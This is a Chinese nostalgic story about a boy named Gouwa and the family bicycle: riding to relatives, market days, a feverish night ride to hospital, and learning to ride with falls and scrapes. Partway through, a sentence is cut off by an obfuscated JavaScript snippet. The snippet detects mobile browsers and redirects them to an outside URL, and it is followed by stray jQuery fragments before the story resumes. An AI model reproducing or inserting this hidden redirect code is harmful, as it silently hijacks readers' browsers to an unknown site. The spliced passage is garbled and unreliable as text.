43.爸爸的自行车


    夏日的阳光如同融化的蜜糖，缓缓流淌在白杨路上，将路面晒得暖烘烘的。路两旁的白杨树挺拔而立，叶片在微风中沙沙作响，投下斑驳的光影。狗娃趴在自家的青砖墙边，目光紧紧追随着那辆被爸爸擦拭得锃亮的自行车。墙头上爬满了丝瓜藤，嫩黄的花朵在阳光下绽放，引来几只蜜蜂嗡嗡地忙碌着。


    这辆自行车，是妈妈结婚时的嫁妆，在那个物质匮乏的年代，算得上是一件体面的物什。车身散发着淡淡的金属光泽，每一根钢管都被擦得能照出人影。车梁被绿色塑料袋一圈圈缠绕着，像穿上了一件独特的铠甲，既防锈又防磨；车座是妈妈亲手缝制的，用了家里最好的绒布，里面絮着柔软的棉花，坐上去又软和又舒适。车把上挂着一个旧铃铛，轻轻一按就会发出清脆的叮铃声，像是夏日里最动听的音乐。在那个自行车盛行的年代，它不仅是家中重要的出行工具，更是承载着无数温暖回忆的宝贝，见证了这个家庭的点点滴滴。


    每当爸爸出门归来，总会小心翼翼地把自行车推进院子，拿出干净的抹布，细致地擦拭每一个角落。他先擦车把，再擦车架，最后连车轮的每一根辐条都不放过。他一边擦，一边轻声念叨："老伙计，辛苦啦！今天又驮着我跑了二十里地。"那温柔的模样，仿佛在照顾一个娇弱的孩子。有时还会拿出一个小油壶，给链条上油，看着油珠慢慢渗入链节间，他的脸上就会露出满意的笑容。狗娃常常蹲在一旁，睁着大大的眼睛，一眨不眨地看着爸爸的一举一动，心里满是对这辆自行车的好奇与向往。他最喜欢闻汽油和铁锈混合的味道，那是爸爸和自行车的味道，也是家的味道。


    过年，是狗娃最期盼的日子之一。那一天，爸爸总会早早地把自行车推出来，仔细检查每一个部件：车胎的气足不足，刹车灵不灵，链条松不松，确保万无一失。然后，他会把狗娃稳稳地抱上后座，用一根红布条把狗娃的腰和自己的腰系在一起，笑着问："坐好了吗？咱们出发咯！"狗娃紧紧搂着爸爸的腰，小脸贴在他宽厚的后背上，感受着他后背传来的温暖和有力的心跳。自行车缓缓驶出家门，清脆的铃声在小巷中回荡，惊起了屋檐下打盹的麻雀。


    寒风呼呼地吹在脸上，像小刀子似的，却丝毫不减狗娃的兴奋。路边的积雪在阳光的照耀下闪烁着银光，远处的村庄升起袅袅炊烟，空气中弥漫着浓浓的年味：炸丸子的香气、炖肉的香味、还有鞭炮燃放后的硝烟味，混合在一起，组成了一种独特的新年气息。一路上，爸爸会给狗娃讲许多有趣的故事：他年轻时学骑车的糗事、在生产队里的趣闻、还有他第一次骑着这辆自行车去妈妈家提亲的紧张心情，逗得狗娃哈哈大笑。遇到熟人，大家都会热情地打招呼："哟，带着娃走亲戚呢！"狗娃便会骄傲地挺直腰板，大声回应："是啊！去我姥姥家！"声音在清冷的空气中传得老远。


    赶集的日子同样充满欢乐。天还没亮，妈妈就开始准备：她把要卖的鸡蛋一个个用麦秸裹好，小心翼翼地放进篮子里；把新磨的玉米面装进布袋；还有她熬夜缝制的鞋垫，整整齐齐地码放在另一个篮子里。自行车的前梁和后座都挂满了大大小小的袋子，装满了一家人的生活所需。爸爸在前面推着车，妈妈在旁边扶着，狗娃则跟在后面，时不时小跑几步才能跟上。


    集市上热闹非凡，人声鼎沸，各种吆喝声、讨价还价声交织在一起，像一首热闹的交响曲。"新鲜的黄瓜哟！""刚出锅的豆腐！""鞋垫鞋垫，手工绣花鞋垫！"此起彼伏。狗娃坐在自行车横梁上，好奇地张望着四周，眼睛里满是新奇：卖糖人的老爷爷手法娴熟，一会儿就捏出一个孙悟空；卖泥哨的小摊上，各式各样的泥塑排成一排；还有卖布匹的、卖农具的、卖锅碗瓢盆的，琳琅满目，让人眼花缭乱。爸爸会带着他穿梭在各个摊位之间，买上一些糖果、玩具，还有新鲜的蔬菜和水果。回家的路上，狗娃吃着甜甜的糖果，心里美滋滋的，觉得生活无比幸福。自行车在乡间小路上平稳地行驶着，车筐里装满了一家人的希望和收获。


    而每到槐花飘香的时节，便是狗娃最期待跟着妈妈回姥姥家的日子。出发前一晚，妈妈总要在灯下忙活许久。煤油灯的光芒柔和而温暖，将妈妈的身影投在墙上，放得很大。她把攒了许久的鸡蛋一个个塞进草窝里，再用碎花布包袱裹得严严实实。有时还会放上一块自己织的粗布，或者给姥姥做的一双新鞋。狗娃趴在炕沿上，看着妈妈忙碌的身影，不知不觉就进入了梦乡。


    第二天清晨，天刚蒙蒙亮，妈妈就会把狗娃叫醒。她会把自行车座擦了又擦，往狗娃兜里塞满炒瓜子，笑着说："抱紧妈妈，咱们出发咯！"清晨的乡村还在沉睡，只有早起的鸟儿在枝头鸣叫。露珠在草叶上滚动，打湿了自行车的轮胎。


    自行车碾过乡间小路，发出轻微的沙沙声。路边的野蔷薇开得正盛，粉的、白的花朵轻轻擦过车筐，留下淡淡的清香。狗娃把脸贴在妈妈背上，能闻到她衣服上淡淡的皂角香，还有藏在发间的槐花甜味。遇到坑洼处，妈妈总会提前喊一声："坐稳啦！"然后轻轻起身，灵巧地用脚踏板借力，带着狗娃稳稳跃过颠簸。这时狗娃就会紧紧抱住妈妈的腰，把脸埋在她后背上，感受着母亲的温暖和力量。


    然而，最让狗娃难忘的，是生病时爸爸骑着自行车带他去医院的情景。那是一个漆黑的夜晚，天空中没有一颗星星，月亮也被厚厚的云层遮住，只有零星几盏路灯发出昏黄的光。狗娃突然发起了高烧，小脸烧得通红，浑身滚烫，嘴唇干裂。妈妈急得直掉眼泪，用湿毛巾不停地敷在狗娃额头上，可是温度一点都没有降下来。爸爸二话不说，披上外套，把狗娃用棉被裹得严严实实，抱上自行车，便拼命地向医院骑去。


    夜风凛冽，吹得路旁的树木哗哗作响。爸爸弓着腰，用力蹬着自行车，额头上渗出细密的汗珠。他的外套敞开着，在风中猎猎作响。狗娃靠在爸爸的背上，能感受到他急促的呼吸和有力的心跳。自行车的车轮飞速转动，在寂静的街道上发出沙沙的声响，像是一首生命的交响曲。偶尔有夜行的汽车驶过，车灯将父子俩的身影拉得很长很长。


    "娃别怕，爸爸在呢，咱们马上就到医院。"爸爸的声音坚定而有力，穿透夜风，传入狗娃耳中。虽然因为高烧，狗娃的意识有些模糊，但爸爸的话像一剂良药，让他原本恐惧不安的心渐渐平静下来。那一刻，狗娃觉得爸爸就是他最坚实的依靠，而这辆自行车，则是带他脱离病痛的希望之舟。他紧紧抓住爸爸的衣角，仿佛这样就能抓住健康和安宁。


    不知过了多久，终于到了医院。爸爸顾不上擦汗，抱着狗娃就冲进了急诊室。在明亮的灯光下，狗娃看到爸爸的脸色苍白，汗水沿着鬓角滑落，呼吸急促，但眼神却异常坚定。经过医生的诊治，狗娃的烧渐渐退了。回家的时候，天边已经泛起了鱼肚白。爸爸慢慢地骑着自行车，狗娃靠在他后背上，听着他有节奏的心跳，感到前所未有的安心。


    时光悄然流逝，狗娃渐渐长大，到了学骑车的年纪。当他第一次站在自行车旁，心里既兴奋又紧张。自行车在他眼中显得那样高大，仿佛是一座难以攀登的山峰。他鼓起勇气，双手紧紧握住车把，可小小的身材根本够不着车座，只能采用"掏空"的方式骑车——一条腿从三角架中间穿过去踩踏板，身子歪向一边，样子十分滑稽。


    白杨路上，树叶沙沙作响，像是在为狗娃加油鼓劲。狗娃深吸一口气，一只脚踩上踏板，用力一蹬，自行车缓缓向前移动。"咯噔咯噔"，车轮转动的声音在空旷的路上格外清晰。他的小手紧紧攥着车把，手臂因为用力而微微颤抖，眼睛死死盯着前方，生怕出现一点差错。骑了一会儿，他便累得气喘吁吁，额头上布满了细密的汗珠。他停下车，双手撑着膝盖，大口大口地喘着粗气，心里却想着："我一定能学会，我要像爸爸一样熟练地骑车！"


    休息了一会儿，狗娃又重新跨上自行车，继续练习。可骑车哪有那么容易，突然，一阵风刮来，自行车晃了晃，狗娃没扶稳，"啪"的一声摔倒在地。膝盖和手掌擦破了皮，渗出血珠，火辣辣地疼，泪水在眼眶里直打转。他坐在地上，看着受伤的伤口，委屈极了，心里萌生了放弃的念头。但一想到爸爸骑车时那帅气的模样，想到自己以后也能骑着自行车自由穿梭，他又咬了咬牙，挣扎着站了起来，拍了拍身上的土，扶起自行车，再次踏上了练习的征程。


    日子一天天过去，狗娃在摔倒与爬起中不断进步，骑车也越来越熟练。他开始能够保持平衡，能够转弯，甚至能够单手扶把。每次有一点进步，他都会兴奋地跑回家告诉爸爸妈妈，脸上洋溢着自豪的笑容。爸爸总是摸摸他的头，说："好样的！"妈妈则会心疼地查看他身上的伤痕，一边给他涂红药水，一边叮嘱他要小心。


    直到有一天，妈妈和邻居还有肖大妈去县城赶集，狗娃也跟着去凑热闹。集市上人山人海，热闹非凡。狗娃紧紧跟着妈妈，眼睛都不够用了。他看到了许多新奇的东西：会翻跟头的玩具猴、能吹出各种鸟叫声的泥哨、还有五颜六色的糖果，让他眼花缭乱。妈妈给他买了一个糖人，是一只栩栩如生的大公鸡，狗娃舍不得吃，拿在手里看了又看。


    返程时，夕阳把天边染成了橘红色，云彩像被点燃了一般，绚烂夺目。一行人走到半路，遇上了一段陡峭的土坡。坡道上布满碎石，坑坑洼洼。大人们纷纷跳下车，推着自行车一步一步往上走，车轮碾过碎石发出"咯吱咯咯"的声响，在寂静的傍晚格外清晰。


    狗娃望着眼前的陡坡，心里突然涌起一股不服输的劲儿。他握紧车把，深吸一口气，双脚用力踩上踏板。自行车缓缓向前挪动，车轮却在沙土里不断打滑，他的额头很快冒出一层细密的汗珠，嘴里喘着粗气，像拉风箱一样。"快下来！"妈妈在后面焦急地喊道，声音里满是担忧，"别逞强，摔着了怎么办！"


    这时，肖大妈却按住妈妈的胳膊，笑着说："让娃试试！咱们当年不也是这么过来的？狗娃，使劲儿蹬！身子往前倾！"她的话像一阵温暖的风，吹进狗娃心里。狗娃咬了咬牙，学着大人骑车的样子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370312|183542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，弓起身子，使出全身力气蹬踏板。粗重的喘息声混着车轮的摩擦声，在暮色里谱成一曲倔强的歌。汗水模糊了他的视线，可他依旧死死盯着前方，不肯有丝毫退缩。


    一步，两步，三轮车在陡坡上艰难地前行。狗娃感觉自己的肺都要炸开了，腿像灌了铅一样沉重。就在他快要坚持不住的时候，突然感觉车轮一轻，原来已经骑到了坡顶。晚风迎面吹来，凉爽而舒适，狗娃长舒一口气，脸上露出了胜利的笑容。他回头望去，看到妈妈和肖大妈都在向他招手，脸上洋溢着欣慰的笑容。


    后来，有一天，爸爸妈妈去后店里摘菜，却忘了带菜篓子。后店是村里最远的一块菜地，要穿过一片河滩才能到。他们中途让狗娃回家骑车把菜篓子送到菜地。狗娃一听，兴奋极了，觉得这是证明自己的好机会，便欣然接受了任务。


    他骑着自行车，风风火火地往家赶。夏日的风吹在脸上，带来田野的清香。取了菜篓子后，又马不停蹄地朝着菜地骑去。一路上，他心里美滋滋的，幻想着到了菜地后，爸爸妈妈看到他熟练骑车的样子，会多么骄傲。他甚至想象爸爸会拍拍他的肩膀，说："好小子，真能干！"妈妈则会用围裙擦擦手，从菜地里摘一根黄瓜奖励他。


    然而，意外却在不经意间发生了。当狗娃骑到后店的河滩时，车轮突然压到一块松动的鹅卵石，车子猛地一滑，他连人带车重重地摔倒在地。腰间被河滩上的鹅卵石擦破了一大块皮，钻心的疼痛瞬间袭来，鲜血顿时渗了出来。狗娃疼得"啊"地叫出声，眼泪一下子涌了出来，在眼眶里打转。


    他躺在地上，看着受伤的腰间，心里害怕极了。河滩上的鹅卵石在阳光下闪着刺眼的光，远处的杨树叶子沙沙作响，像是在嘲笑他的狼狈。可一想到爸爸妈妈还在等着菜篓子，他强忍着泪水，挣扎着爬起来。每动一下，腰间的伤口就像被针扎一样疼。自行车倒在一旁，车把歪了，车身有了几道明显的划痕，像是在无声地诉说着刚刚的惊险。狗娃顾不上心疼自行车，也顾不上自己的伤口，只是简单地拍了拍身上的泥土，扶正车把，又艰难地跨上自行车，咬着牙，慢慢地向菜地骑去。每蹬一下踏板，腰间的伤口就会传来一阵刺痛，但他始终没有停下。


    终于，菜地出现在眼前。爸爸妈妈正在弯腰摘菜，背影在阳光下显得格外温暖。狗娃强忍着疼痛，骑到他们身边。"爸，妈，菜篓子送来了。"他尽量让自己的声音听起来正常。


    妈妈抬起头，看到他脸色苍白，额头上都是冷汗，关切地问："娃，咋啦？是不是不舒服？"狗娃强挤出一丝笑容，摇摇头说："没事，妈，我就是骑得有点累。"爸爸接过菜篓子，拍了拍他的肩膀，说："好样的，娃！"那一刻，狗娃觉得所有的疼痛都值得了。阳光照在爸爸的脸上，他的笑容是那样温暖，那样自豪。


    后来，腰间的伤口结了痂，硬硬的，像一块小小的盾牌。洗澡时，狗娃总是小心翼翼地避开那个地方，生怕被妈妈发现。他没有告诉大人，只是默默地等待伤口慢慢愈合。每天晚上，他都会偷偷查看伤口的恢复情况，看着它从血肉模糊到结痂，再到痂皮脱落，露出粉嫩的新皮肤。随着时间的推移，伤口渐渐好了，看不出一点痕迹。而狗娃骑车也越来越顺当了，他可以轻松地穿梭在大街小巷，享受着骑车带来的自由与快乐。他常常骑着自行车在村里转悠，去小伙伴家玩，去小卖部买糖，去田野里撒欢，感受着风从耳边呼啸而过的快感。


    只是那辆自行车，因为狗娃的练习和这次意外，多了不少伤痕：车把上的镀层有些剥落，露出底下的铁锈；车架上添了几道划痕，像是岁月的印记；铃铛也不如从前响亮了，发出沙哑的声音。但在狗娃心中，它依然是最珍贵的宝贝。它不仅仅是一辆自行车，更是承载着全家人的爱与回忆的载体。


    如今狗娃骑车已能双手撒把，可以像大人一样熟练地在乡间小路上飞驰。可每次跨上车，掌心仍会不自觉地收紧，仿佛还能感受到初学时的紧张和兴奋。车梁上的绿塑料袋又换了新的，是爸爸赶集时特意买的厚塑料布，一圈圈缠得比从前更密实，既防滑又防锈；妈妈重新缝了座套，用了红色的灯芯绒布，针脚细密整齐，里面还别着两朵晒干的野菊花，散发出淡淡的清香。


    暮色四合时，自行车停在葡萄架下，夕阳的余晖透过葡萄叶的缝隙洒下来，在车身上投下斑驳的光影。链条与辐条间晃动着细碎的光斑，像极了那些被车轮碾碎又重生的旧时光。狗娃摸着车把上自己当年摔出的凹痕，突然发现，原来有些伤口会愈合，有些痕迹却永远留在了岁月里，成为生命中不可或缺的一部分。正如这辆自行车，载着他的童年，载着爸爸的汗水，载着妈妈的关爱，也载着全家人的希望与梦想。它在时光的长河里，一直向前，从未停歇，见证着一个普通家庭的温暖与坚韧。


    夏夜的风轻轻吹过，带来远处麦田的清香。狗娃推着自行车走进院子，把它稳稳地支在墙角。明天，它还将继续陪伴着一家人，走过一个又一个春夏秋冬，见证生活中每一个平凡而珍贵的瞬间。